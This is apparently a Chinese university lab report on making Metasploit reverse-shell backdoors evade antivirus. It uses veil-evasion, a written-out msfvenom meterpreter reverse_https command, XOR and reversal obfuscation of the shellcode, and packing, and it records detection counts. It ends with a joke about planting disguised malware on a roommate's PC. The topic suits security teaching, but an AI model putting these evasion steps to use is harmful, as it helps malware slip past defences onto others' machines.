一、实践目标与内容
1.实践内容
- 利用多种工具实现实现恶意代码免杀
- 在另一台电脑上,杀软开启的情况下,实现运行后门程序并回连成功
2.实践目标
- 在保证后门程序功能的情况下实现杀软共生,(即使以后不能为所欲为)也要保证自己电脑安全
二、实践过程与步骤
1.使用msf编码器生成的后门程序
也就是上次实践生成的后门程序,通过检测非常的惨,直接被国内第一杀毒软件360杀掉了,在virscan网站扫描,也有20个杀毒引擎识别了出来,裸奔的后门程序还是很容易被辨识出来的。
2.使用veil-evasion生成的后门程序
2.1Kali上面没有veil这个平台,首先安装这个平台
apt-get install veil-evasion
2.2根据菜单选择一个模板生成,在这里我选择的是evasion里的c语言中的一个
2.3设置相关参数即LHOST,LPORT后输入general就会生成
2.4找到生成的程序拷贝到win7虚拟机后,没有被360查出来,virscan扫描有7个杀毒引擎识别了出来,可以veil-evasion的模板还是强的,但还是有不少引擎能识别出来
tip:找不到生成的程序,可以在本地电脑搜索veil,找到var/lib下的veil,打开output->compiled,就可以找到啦
3.shellcode编程
3.1在Kali里生成一个C语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.211.133 -f c
3.2创建一个c文件,并进行编写,在linux环境下编译
3.3拷贝至win7,能直接被360识别出来,virscan扫描有6个引擎可以识别出来且能回连成功
tip:我尝试对shellcode进行倒序,换位,异或,但是在Kali环境下进行编译一直会被360识别出来,virscan扫描结果也基本没变
3.4拷贝c文件代码,在win10环境下,在codeblock进行编译,不会被360识别出来,virscan也只有3个引擎能识别出来
3.5即使在win10环境下进行编译,也还有3个引擎能识别出来,于是我对代码进行了改进,经过倒序,移位,异或后,它终于只能被......2个引擎识别了,且拷贝至win7环境能够运行,也能够回连。
- 无论怎么改进,还是有两个引擎能识别出来,于是我对两个引擎进行了研究。
- 其中GData引擎是实时更新的病毒库,所以我猜想是经过我们的实验,他成功记录下了特征,而另外一个是F-PORT,虽然它的病毒库是2016年更新的了,但我猜想它应该记录下了通过windows环境下编译shellcode的特征,因为我通过查看它的识别记录,发现它基本都识别出了我们是实验中的程序(哈哈,其中还有一个叫刺激战场的exe)
4.对程序进行加壳
- 实际并没有什么用,加壳后能识别出来的引擎数基本没变甚至还会变多
- 我认为是杀毒引擎记录下了壳的特征,所以识别数甚至会变多
加壳前:
加壳后:
三、基础问题回答
- 杀软是如何检测出恶意代码的?
- (1)我认为现在的杀软主要是基于特征码进行检测的,特征码就是一段或多段数据,如果一个可执行文件包含这样的数据则被认为是恶意代码。
(2)还有就是启发式恶意软件检测,就是根据些片面特征去推断。
(3)还有就是基于行为的恶意软件检测,就是通用的、多特征的、非精确的扫描。
- 免杀是做什么?
- 我认为免杀就是使杀毒软件检测不出恶意软件。
- 免杀的基本方法有哪些?
- (1)通过多种方式改变特征码,例如加壳,生成shellcod,用其他语言进行重写再编译等等。
(2)改变行为,例如改变通讯方式(使用反弹式连接)和操作模式(加入混淆作用的正常功能代码)。
四、离实战还缺些什么技术或步骤?
- 还缺少将程序直接放进目标的手段,放进去以后还要它能够自己运行,毕竟很多人还是不会去运行陌生软件。
五、实践总结与体会
- 通过这次实践,我们实现了恶意软件的免杀,而且这个过程也不是很复杂,不禁让我有了那么一丝恐惧,我的电脑里是不是也有不少这样的恶意软件,一定要抽个时间好好检查检查,还让我有了一丝兴奋,一旦把恶意软件伪装成微信,拷到我室友电脑里,等他一运行,他的秘密将无处可藏,哈哈哈哈(别提醒他)。
原文地址:https://www.cnblogs.com/liukangquan/p/8733352.html
时间: 2024-10-15 03:43:51